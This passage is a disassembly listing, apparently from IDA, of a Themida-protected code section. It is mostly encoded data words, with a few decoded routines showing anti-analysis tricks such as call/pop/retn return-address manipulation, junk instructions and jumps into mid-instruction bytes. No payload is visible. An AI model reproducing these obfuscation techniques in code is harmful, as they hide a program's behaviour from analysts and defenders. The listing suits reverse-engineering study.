0D0FF5200h, 0BD83C08Bh, 6131625h dd 83097500h, 132C81BDh, 19740006h, 0C08B5350h, 421B8h dd 15858900h, 8D061331h, 15A9E49Dh, 5BD3FF06h, 81BD8358h dd 6132Ch, 53501774h, 421B8h, 15858900h, 8D061331h, 15A6859Dh dd 5BD3FF06h, 8DC08B58h, 132A2D9Dh, 0B038B06h, 7840FC0h dd 8B000000h, 45B8B03h, 41B81889h, 0E800004Bh, 0Bh, 7C550BADh dd 2E4DEEF9h, 664EA313h, 596843B8h, 8150C480h, 67B5C1h dd 68FC00h, 80000000h, 8B5A42CBh, 0A34FFFBh, 0F5EC68Ah dd 178Ch, 0B2B96000h, 0E847F7A5h, 0Ah, 0C6EED06Ch, 0AE64D6F4h dd 615A39FBh, 0E606C681h, 0FD8A5081h, 0F873C681h, 815124F5h dd 9002A0D3h, 0C6815F09h, 18C44EFCh, 804AE081h, 66560C64h dd 342BE881h, 6611048Fh, 816CC8BFh, 0FB82B4EAh, 0B0C28162h dd 5262FB82h, 0CE9h, 42427B00h, 0DFAD6283h, 93FE1D63h dd 0FA8158C1h, 0FFFF992Ch, 1E850Fh, 880F0000h, 5, 8FD38166h dd 33E97Bh, 810B0000h, 0E51ECEDDh, 0BFEA91F8h, 8FE626D2h dd 5860F60h, 0B8000000h, 4B056FFCh, 0FF53E961h, 2244FFFFh dd 4FBA7F71h, 0F388535Eh, 0BA98D58Ch, 0AC336552h, 9E889h dd 16A60000h, 0E15B28F8h, 5F3A2FEAh, 81F4ED80h, 0E284C7h dd 14E900h, 0A6B40000h, 5B28F816h, 3A2FEAE1h, 6043E021h dd 0F2CC6942h, 71689B79h, 8B000038h, 0C5805AC8h, 0BB378B11h dd 68DE59FBh, 0F33FF681h, 890F661Bh, 4, 46F6BB66h, 73E5EE81h dd 0DB8122A6h, 67228F02h, 0C70FF681h, 91B865CCh, 8963F68Ch dd 13E937h, 3A450000h, 593AF78Fh, 0E3B3940Eh, 51E660C7h dd 43063DA7h, 1EF832Eh, 4F4FC38Bh, 8182B74Fh, 1EAh, 13850F00h dd 0B1000000h, 28E911h, 96330000h, 0FBD675F1h, 0D5B40441h dd 830FECF0h, 2, 82E93DB7h, 0CAFFFFFFh, 0E34262D6h, 0C61E9144h dd 2C4A8624h, 8D8D1A87h, 61A3F6Ch, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 51C35040h, 1A51BE66h, 1BBD8D89h dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0C6DD09C3h, 8D892FB9h, 6131285h, 18DD85C7h dd 623C0613h, 8EBF0000h, 0C700C69Eh, 13305585h, 6, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0CCA841B7h, 3594B863h, 0E9D2BF0Fh, 11h, 8040B67Ch, 8F5D0B95h dd 95945850h, 4F67DBB7h, 418D0145h, 0FF061317h, 130ED5B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 0C58AB8C9h, 958B7E50h, 6132881h, 1D8995FFh dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0BDB643C3h, 60767591h, 830Fh, 0BB660000h dd 830FA482h, 3, 6AC2BF0Fh, 0A995FF00h, 8B06130Dh, 6D0FEBC0h dd 0C43E1A46h, 0E6EA6BCh, 0B21A4263h, 0C3E9357Fh, 42000000h dd 5E4462F4h, 0FE2482CCh, 2002A0AAh, 0BFE1C18Fh, 0D1C4E272h dd 0B4A02D5Eh, 0AEA43416h, 0B3952A10h, 0B09C2D13h, 0D7064912h dd 16B7F47Bh, 0C271CD44h, 0A9E063DDh, 0DBE595E1h, 57E66AF9h dd 5AF64593h, 4C08557Dh, 6549CFDh, 62D774D7h, 3F91B9EFh dd 11DB3A0Bh, 0DEE0EC72h, 81C92B10h, 997C109Bh, 0E410581Ch dd 1Fh, 1975E8C7h, 520FD388h, 0D387A723h, 1E2D700Fh, 434FC539h dd 83E2EF00h, 0FAC2921Fh, 0BDE17B60h, 7254E571h, 0FADC6DDFh dd 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h, 2D112030h dd 0BC9EAF9Bh, 2215242Ah, 1A3F8568h, 4126E906h, 574BFFF9h dd 4CA8C124h, 43F36D51h, 10E8CD45h, 0EC000000h, 70B8FF28h dd 8D329E87h, 7D5C16E2h, 8B1A0516h, 133521BDh, 66525B06h dd 5F944DB8h, 59A7C381h, 81660000h, 337540F7h, 71B589F6h dd 0FF06132Bh, 0C68A1E34h, 958B605Ah, 6130159h, 81615A50h dd 8D906DEAh, 0B1858B3Fh, 81061325h, 0E4020EAh, 83C08117h dd 815BC263h, 0CCBC25EAh, 0B58D8B7Ah, 52061316h, 14E9h dd 3816E600h, 0DF1DE1Fh, 0BA4119EEh, 3CAE9F31h, 6BA3DE01h dd 33048F54h, 23E1858Bh, 0FA8B0613h, 0F04EE83h, 0B80h dd 5830F00h, 0B9000000h, 53568536h, 0A704FE81h, 850FFFFFh dd 0FFFFFF87h, 1DF9858Bh, 9D8D0613h, 6131F31h, 23E4B8h dd 5D858900h, 0E806131Eh, 0 ; --------------------------------------------------------------------------- pop eax add eax, 0Dh mov [ebx], eax jmp loc_5F27CD ; --------------------------------------------------------------------------- align 4 dd 8F8h dup(0) db 0 ; --------------------------------------------------------------------------- loc_5F27CD: ; CODE XREF: Themida_:005F03E4j jmp short loc_5F27E5 ; --------------------------------------------------------------------------- align 10h dd 4 dup(0) dd 1000000h db 1 ; --------------------------------------------------------------------------- loc_5F27E5: ; CODE XREF: Themida_:loc_5F27CDj mov ah, 3 ; --------------------------------------------------------------------------- db 0 dd 6A061A00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 5134C352h, 37B69B05h, 0AE86050h dd 7E000000h, 188CC815h, 0CCE8B9B9h, 8A0F23h, 5A000000h dd 61C28B66h, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 429EC351h, 0EE8h, 0BE883800h dd 0C3A988F9h, 0ED427C28h, 0FB7EF97h, 6A5FDABFh, 10E900h dd 2F3F0000h, 0E9A93E79h, 45F1068Bh, 0AF2D24C3h, 6A3E74h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A4C35646h dd 8B7C3F52h, 8D9FBB0Bh, 1A66A485h, 0C9816606h, 0F88B158Eh dd 64A9B990h, 0F502EDFh, 287h, 90CF8B00h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 38C35747h, 0EB5B3A69h dd 86E4E412h, 14D19589h, 6A0613h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 92C35747h, 7649B85Eh, 61FE8B60h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0F02847C3h, 2FB436D9h, 9E924h, 497B0000h dd 0BF840847h, 0FF00DE4Ch, 1307F195h, 0C1816606h, 9D2BA5CDh dd 61329CDh, 5D0E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0E8F5F9h, 5D000000h, 66A9ED81h dd 6A061Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 493202C3h, 8166AD68h, 6ADACFE3h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 7139C352h, 0B0739AA4h, 6E8h, 0BC213E00h, 8B22706Dh dd 92685BD9h, 664F5D93h, 815F4FBFh, 9C322434h, 95FF4F5Dh dd 6130DA9h, 5E8h, 0DD678900h, 0BD3115C4h, 6130165h, 5B58D5Ah dd 6A061A65h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0E698C353h, 20F5B589h, 0B70F0613h dd 5206C7D2h, 0C76D6765h, 6E6F0446h, 6A6C63h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 57D6B9C3h dd 661CFC89h, 0B509C88Bh, 6130B39h, 610846C7h, 0B7007373h dd 0F59D8933h, 6A061315h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E81F0601h dd 5, 1FC7181Ah, 66605F97h, 412DE081h, 5858D61h, 6A061A65h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 5B17C355h, 4ED891D6h, 0B52213Ch, 1324A1BDh dd 52505006h, 2C806ABBh, 0B9310F44h, 0DCB3994h, 489585Ah dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 752945D7h, 0FF40BBFEh, 13117995h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0E4812029h, 89E3D48Dh, 130E1D9Dh, 0FC00B06h, 4B84h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 31A3D53h, 87E9A505h, 6A000003h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 5B1FC351h, 122C875Eh, 0D78B74CFh, 16CA9968h, 46BA6670h dd 24348144h, 7016CBB5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0F7C35242h, 81D6CB0Ah, 0FFA64EC2h, 130DA995h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 1926CFF4h, 0C88A7E89h, 12198D8Bh, 0B58D0613h dd 61A6505h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0F3C35040h, 0C78FA597h, 34383106h, 57006A36h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0E280B6D8h, 258D89C1h, 0E9061312h, 0Ah, 0BA878C65h dd 415C5A07h, 46C78567h, 342D3704h, 85895131h, 61314A5h dd 846C75Fh, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5F2C63 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F2C63 proc near ; CODE XREF: Themida_:005F2C5Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5F2C63 endp ; --------------------------------------------------------------------------- xchg al, [esi+2Dh] leave mov ds:6AF9BDD3h, al add [edx+0], ch loc_5F2C7F: ; CODE XREF: Themida_:005F2CA8j push ebp call sub_5F2C88 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F2C88 proc near ; CODE XREF: Themida_:005F2C80p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5F2C88 endp ; --------------------------------------------------------------------------- or dh, [ecx-2FF88FC8h] jnb short loc_5F2CA6 jmp loc_5F2CB2 ; --------------------------------------------------------------------------- db 0ECh ; --------------------------------------------------------------------------- loc_5F2CA6: ; CODE XREF: Themida_:005F2C9Ej ja short near ptr loc_5F2CE7+1 jnp short loc_5F2C7F std cmpsd fldenv byte ptr [ebx+5C7ADB0Ch] loc_5F2CB2: ; CODE XREF: Themida_:005F2CA0j lea eax, [ebp+61A6505h] mov ecx, 252B7108h push eax call near ptr loc_5F2CCE+3 cmpsd aad 41h pop esi sub eax, 0B435EED1h and al, 4Ch loc_5F2CCE: ; CODE XREF: Themida_:005F2CBEp lea ecx, [esp+eax+60h] mov ah, 17h push edi pop eax popa pop edx mov [esp], eax push 0 push ebx call sub_5F2CE6 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F2CE6 proc near ; CODE XREF: Themida_:005F2CDEp arg_4 = dword ptr 8 pop ebx loc_5F2CE7: ; CODE XREF: Themida_:loc_5F2CA6j mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5F2CE6 endp ; --------------------------------------------------------------------------- dw 0EFD0h dd 33EAFDD6h, 0EAD958Bh, 95FF0613h, 6131179h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 80C35141h, 0D15F096Ah dd 0ADC59948h, 0FC00B78h, 1184h, 0AD850900h, 0E906130Dh dd 1A2h, 80D38B66h, 0C56836C5h, 0E9935687h, 7, 0ED8EF2ABh dd 81D7DA8Bh, 79672404h, 0FFF96CA9h, 130DA995h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 9C9E21Eh, 0BFBAAD7Ch, 8D7FE441h, 1A6505B5h, 0C7D78B06h dd 6C694606h, 55006A65h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 4C287372h, 20E9FD1h, 11E973F0h, 0DF000000h dd 0AF087828h, 0C4CA9019h, 0E583FB08h, 312E3BCBh, 6D0446C7h dd 6A636E6Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 7DD4C351h, 503ABB66h, 6820Fh dd 85890000h, 6131A2Dh, 6C0846C7h, 89737361h, 130635B5h dd 0C46C706h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5F2E27 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F2E27 proc near ; CODE XREF: Themida_:005F2E1Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5F2E27 endp ; --------------------------------------------------------------------------- db 92h dd 26B96669h, 6A006AE3h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0B006C351h, 518D8BACh dd 0F061330h, 858DD6BFh, 61A6505h, 0AD58589h, 0B5900613h dd 0BB6650C9h, 89907D2Dh, 131DB9B5h, 7995FF06h, 8B061311h dd 0FC00BD6h, 2E84h, 28B0F00h, 8B000000h, 44E9D3h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0A38339C3h, 0E90C0B7Eh, 0FFFFFAAAh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0E5C35343h, 0B58DA690h, 6137533h dd 0C204F781h, 0B81FB8h, 0F5000000h, 6AE6FFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0BBA910C3h dd 4D074315h, 0E98166CDh, 8BF501E5h, 0E8C18BCBh, 0Ch, 0ED9FC65Bh dd 1D0D6612h, 266AA778h, 13799D8Bh, 0F5F0613h, 0C781F1B7h dd 6C32h, 19B58B51h, 5B06130Ch, 1AD668h, 85896000h, 6130B81h dd 2E7B8BBBh, 0F586106h, 37FFF7BFh, 59D7BF0Fh, 0CE8h, 91402D00h dd 0B2A3D782h, 0D433AD8Eh, 0D5E281F9h, 5B471E22h, 34D1E981h dd 0D68143F3h, 373CABDCh, 4B47C181h, 0B70F4BCBh, 40C181D1h dd 800077EEh, 8951A9CAh, 13220585h, 66078F06h, 0EF81D78Bh dd 11FCA05h, 0DE8h, 73939000h, 0B662425Bh, 56A2CADEh, 0B50BC1FBh dd 61322CDh, 1C7815Bh, 81011FCAh, 1E8h, 12850F00h, 66000000h dd 23E9F78Bh, 53000000h, 69491559h, 0C14D5359h, 0E932B637h dd 0FFFFFF6Eh, 0AB70E7Ah, 0A7B5E98Bh, 48E21701h, 2BE47770h dd 8D8D975Eh, 61A6DCBh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 22C35040h, 0BD8BC78Bh, 6130C71h, 1BBD8D89h dd 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 67BFBC3h, 29EEDD61h, 858B64A8h, 6131FBDh dd 18DD85C7h, 5DA80613h, 95890000h, 6133085h, 305585C7h dd 613h, 0C18A0000h, 2831B5FFh, 0B5890613h, 6131FD1h, 1D8995FFh dd 6A0613h, 0DA995FFh, 0C08B0613h, 0C06C2FEBh, 0A223BDE8h dd 844E5035h, 0BF1954B5h, 496875CBh, 7FAFBE46h, 0C69E7368h dd 0D31BF1A4h, 0A9208144h, 0D4E958EBh, 9B8DB5AFh, 0A592DDFDh dd 0B1CAFE9Ch, 36A80E93h, 0FC8A4A18h, 0ABA80E90h, 5475EAD5h dd 3CA80E91h, 0BA8A4A19h, 0E957AE5Dh, 448A4A19h, 0ABA80E96h dd 0F75EAD5h, 0DFA80E96h, 898A4A1Eh, 59A80E96h, 38A4A1Fh dd 0ABA80E97h, 2575EAD5h, 3B82D42Fh, 0C0031330h, 52B23FA3h dd 2A1290A7h, 0D12157B8h, 43907B2Fh, 3B47D42Fh, 0C0031330h dd 52B23FABh, 35CD90A7h, 0D12157B8h, 43907B3Bh, 2436D42Fh dd 0C0031330h, 52B23FB7h, 357990A7h, 0D12157B8h, 43907B37h dd 259FD42Fh, 0C0031330h, 52B23F83h, 340A90A7h, 0D12157B8h dd 43907B03h, 2569D42Fh, 0C0031330h, 52B23F8Fh, 378890A7h dd 0D12157B8h, 43907B1Bh, 26EBD42Fh, 0C0031330h, 52B23F97h dd 37F690A7h, 0D12157B8h, 43907B13h, 5012B8C3h, 0CEDF152Ah dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 5FE4F1C0h, 0A8ED96A4h dd 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah dd 0BA415564h, 0CE75EAD5h, 9D3AAE63h, 848C062Bh, 11AB5342h dd 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h dd 4162AD6Ch, 660351A2h, 0EE27BFEAh, 2FBFDB2Fh, 94751330h dd 0D9020112h, 5FF102A0h, 0EC79AEA4h, 41AE51A1h, 4322DC09h dd 0BA8C0F51h, 0DF103773h, 0C821732Ah, 4ED34628h, 0FD5BEA2Ch dd 508C152Bh, 52009881h, 0ABAE4BD9h, 0EFD2A5FBh, 0DDA42C89h dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah dd 0D5F251A2h, 5FE5B1C0h, 5CDDDAA4h, 828668A1h, 54A8ADE7h dd 0BACC152Ah, 47A14C30h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h dd 0D9F9FA31h, 5FF102A0h, 0D79AEA4h, 2320949Ah, 328C551Ah dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah dd 34549521h, 458A15C2h, 0BE290BA2h, 43907AD1h, 0DFA02429h dd 4D1957h, 54A8515Eh, 0D775532Ah, 52BB58BFh, 0CE19CDA1h dd 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 5FF102A0h, 0D79AEA4h dd 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh, 174D6h dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh dd 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h, 454A38F2h dd 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h dd 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh, 38A1BE4Ch dd 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h dd 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h dd 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h, 5D1151A2h dd 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h, 0EF4B93E2h dd 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 9D00B92Ah dd 0D4A7B222h, 860085E1h, 4322DC08h, 0BA8C0F51h, 0FEF8E173h dd 3E9D9FA7h, 855757B8h, 6E20D6A0h, 29215DDFh, 174D6h dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh dd 458A15D6h, 54AFE9A2h, 0D775152Ah, 52BB506Bh, 0C8204526h dd 4ED34628h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h, 50AC5962h dd 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h dd 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh, 0FE0451A2h dd 4C9787D5h, 8C2357B1h, 0EF491786h, 2FBFDB2Fh, 94751330h dd 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h, 9D541429h dd 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh dd 0F8A851A2h, 5818EA80h, 0DFAE42ABh, 8558B9E2h, 4332DC08h dd 0BA8C0F51h, 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h dd 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h dd 0B9CFD226h, 54A851A2h, 0D775BF86h, 52BB58BFh, 7726DDA1h dd 0CE25FB63h, 43906E3Dh, 0ECCE825Dh, 0EEECE4AAh, 7F029028h dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h dd 0DFA02429h, 4D1957h, 54A8515Eh, 7732732Ah, 0D903376Bh dd 5FF102B0h, 327BAEA4h, 234B9592h, 0FE04FD09h, 0CC866801h dd 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h dd 828668A1h, 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h, 3E9D8FA7h dd 875757B8h, 320A09Ah, 0CE25FB0Eh, 43906E3Dh, 0ECCE825Dh dd 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 5FF8D9C0h, 0A8ED96A4h dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43907B2Bh, 8C32DCF1h dd 0BA8C0F44h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h dd 4EC64038h, 0DF07462Ch, 52B23F7Ah, 3C6D5h, 5492B85Eh dd 3075152Ah, 5CDDAEAEh, 2B978FA7h, 0D9FB57B8h, 5FE4CDB0h dd 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h dd 3075195Fh, 7D32DCAAh, 168C0F44h, 3A70CB2Fh, 96751330h dd 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh dd 2AE900h, 4C70000h, 24h, 0E800h, 815D0000h, 1A73A8EDh dd 24448B06h, 0C5858904h, 0B8061304h, 0 ; --------------------------------------------------------------------------- lea ecx, [ebp+6134F8Dh] jmp ecx ; --------------------------------------------------------------------------- mov eax, 6754h jmp short loc_5F36A3 ; --------------------------------------------------------------------------- db 0E0h ; --------------------------------------------------------------------------- jmp dword ptr [ebx+eax*2] ; --------------------------------------------------------------------------- db 0Ah dd 8138BC57h db 18h, 0DEh, 80h ; --------------------------------------------------------------------------- loc_5F36A3: ; CODE XREF: Themida_:005F3695j jmp loc_5F3C2D ; --------------------------------------------------------------------------- jmp loc_5F3C26 ; --------------------------------------------------------------------------- db 0A0h, 12h, 44h dd 5CF24466h, 42085C7Eh, 63ED3E64h, 84D05D43h, 0D338F726h dd 0CAF0CE86h, 0D8FAD87Ah, 0C3E5C583h, 0EFFCDA72h, 28217DF0h dd 0B7EA16B8h, 0E06CBD8Bh, 6EDA6D51h, 0E56DFBDFh, 71E37254h dd 54FDEE0h, 8FC11234h, 4E220730h, 0CCF357E9h, 814BAA7Bh dd 0FE4CE0E2h, 73DB6B6Fh, 0A58D6B54h, 19F1F277h, 0DCE485C9h dd 0F8694E8Dh, 81C91BC5h, 428C901Ah, 63233E7Ah, 11446344h dd 109E74B5h, 450B5C7Eh, 0B86D9C24h, 0F1168887h, 9D280FACh dd 98E77F47h, 745615DFh, 664C6AE0h, 98E978D2h, 4F8A2F55h dd 6413A8EAh, 5B65EF3Eh, 4363E779h, 4B681E43h, 2FBD8B1Ah dd 859BCCBh, 0F7D771C6h, 7047ED1h, 39E401C4h, 3BCA9BFAh dd 0DCC90AC0h, 0AB851C1h, 0D17FD0B5h, 42600180h, 4C6B1B46h dd 75D41819h, 1EB19986h, 1735882Ah, 70FDC746h, 6DED1C2Dh dd 0A97A71D3h, 20223317h, 5B71C08Eh, 24AD9831h, 6D2B51EAh dd 0FCA95F4h, 2BB59D2Bh, 10F4h, 6DE0C700h, 17559F81h, 0C499438Dh dd 32Bh, 0DE6ABD6Ah, 51F94B8Fh, 69E28C00h, 842226B9h, 592F7FA3h dd 20BA535Ah, 9D3B22Ch, 85D474C7h, 2963E03Dh, 384DE290h dd 0ECCBAAA8h, 89D872C6h, 0B092C008h, 0A9912E1Ch, 8C067719h dd 55109E69h, 81005130h, 15A6A837h, 0BC362A3Bh, 941933Fh dd 0ECFE3AA9h, 0D7FB06E4h, 0CE00C888h, 0D3F5D57Fh, 5A7CCD85h dd 89F0820Ah, 0DE28362Ch, 0F6FC0B08h, 0E485E4F3h, 1211E0C7h dd 0A6922403h, 231CCF1Eh, 0FA661B04h, 61507DB2h, 24C496F0h dd 0B63E5FFAh, 0A533DF5Ch, 0BC310EADh, 0FA24C562h, 0B898272Bh dd 0E6C10FD9h, 9Ah, 0C5BBA34Ch, 4DFF5274h, 0BC9C496Eh dd 7B2A4B7Ch, 0EB3D6371h, 237F0E5Fh, 65109E9Bh, 50E48E2Bh dd 66F6DCFAh, 0E8795DECh, 1082D564h, 1B79C77Bh, 9E9B70EAh dd 0B5D43910h, 0ADA53315h, 292BBA9Ch, 3513A88Ah, 8CDBE524h dd 633C6358h, 0EB40AD57h, 2FCC468Eh, 0BD1D3583h, 37064E9Bh dd 0B1DD310Fh, 79DB6A18h, 1567C59h, 85B7D47h, 253C6340h dd 55E9EF11h, 0F988D7E1h, 109E3F98h, 0BF2E11CEh, 109E4063h dd 0A5DFE92Ch, 7FC95E14h, 66E87A60h, 7D608F41h, 4CC5BFEh dd 6ABD7CD6h, 6A508FDEh, 6A6C74D6h, 2D1BB0D5h, 7B15FD4Ch dd 696E59FEh, 0CC29F50h, 2D82D41Ch, 0F6470558h, 280D3097h dd 26E7ACFFh, 71F46747h, 0B8109DD5h, 41C6D3A0h, 0CE8AB5A3h dd 0E4FE3A31h, 0F45EEED0h, 0FF1FB5ECh, 0A389FFFFh, 7AEBC8BEh dd 168EA18Fh, 2441578h, 203D9DAFh, 63E3AB3Ah, 98A59DF2h dd 80015031h, 89C31638h, 484596B8h, 293859F7h, 37A689B6h dd 0A8A28DBh, 2D5761A4h, 59C4EB9Ch, 1469B31Bh, 0DC6D5F69h dd 0DD705270h, 0C0E23CB1h, 6AAB0A89h, 75679F45h, 0CAAB6A2Fh dd 278B0A7Bh, 85030A8Ah, 61EB3EF4h, 0B8CE5F41h, 233569D3h dd 8FDEBF36h, 714E3831h, 7A9BFDFCh, 7BCC0E10h, 640584D5h dd 671F4A46h, 62486748h, 0ABEA7BCDh, 769B60BAh, 0DCE42904h dd 60AE00ADh, 55E4290Ah, 4C6ADE71h, 0BD194C6Bh, 86FE5C26h dd 489BBD07h, 5DC03100h, 2F436269h, 0DE38AD8Ah, 0A7B91DE4h dd 2C3D15A3h, 0CA448CEDh, 1A2E8131h, 0C4696BCh, 82C6193Dh dd 0EB60AAB3h, 0C1DAF3C1h, 0C55B0Bh, 0BDFF0000h, 0DDC2E16Dh dd 0ACE10433h, 109DCE32h, 0B0359AFBh, 0C380682Eh, 0F364DB80h dd 2B0C4A92h, 4E96B607h, 3492B80Ch, 3393BD0Eh, 3694C00Dh dd 4BC73619h, 14109E71h, 7148C233h, 8C11109Eh, 0D87CC9EDh dd 226FBE10h, 2A0C193h, 0E4C29020h, 0FFDF69BEh, 0E6C488D9h dd 0D45CDEC9h, 76F99EB0h, 9E5B8B07h, 50315410h, 5221C66Bh dd 7E46A684h, 26810D5Ch, 0A791F67Dh, 0E20D5C3Dh, 0A7634C8Bh dd 116961C4h, 0F041935Dh, 95D70D5Ch, 15488724h, 109DF3B9h dd 1B593D82h, 51E072C2h, 75D88B30h, 3A18A80Ah, 0FF6E7B5Bh dd 0E466FAE0h, 8F01DCh, 0DD5D0000h, 9DB535AEh, 61467310h dd 0FFE1BC33h, 7F09D380h, 0BD32300Ah, 0E4C1E16Dh, 50E16BBEh dd 13A5A731h, 0E5983771h, 7A1B3BBFh, 6BE5765Ch, 0E796634Ch dd 36D7DA72h, 6B059EFFh, 0A9066744h, 9E50DA34h, 5A62A310h dd 4D07567Ch, 0FE6F506Dh, 109E50A4h, 74C583D8h, 0B0044615h dd 2B4ACB9Ah, 3222AFA1h, 341EAE94h, 4391B996h, 15DF3E0Fh dd 0FAD870C3h, 0E7C785D8h, 14C8h, 5E7B6600h, 0B4920C81h dd 87C3109Dh, 9F2F81DEh, 677194A3h, 0E571BDEDh, 6DDF7254h dd 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h dd 0AF9B2D11h, 242ABC9Eh, 0EC812215h, 4, 89240489h, 405E0h dd 0E8830000h, 24048704h, 285F685Ch, 4890000h, 44396824h dd 34890000h, 0D8BF5724h, 0C1604907h, 0F78107E7h, 17F8042Ah dd 8104E7C1h, 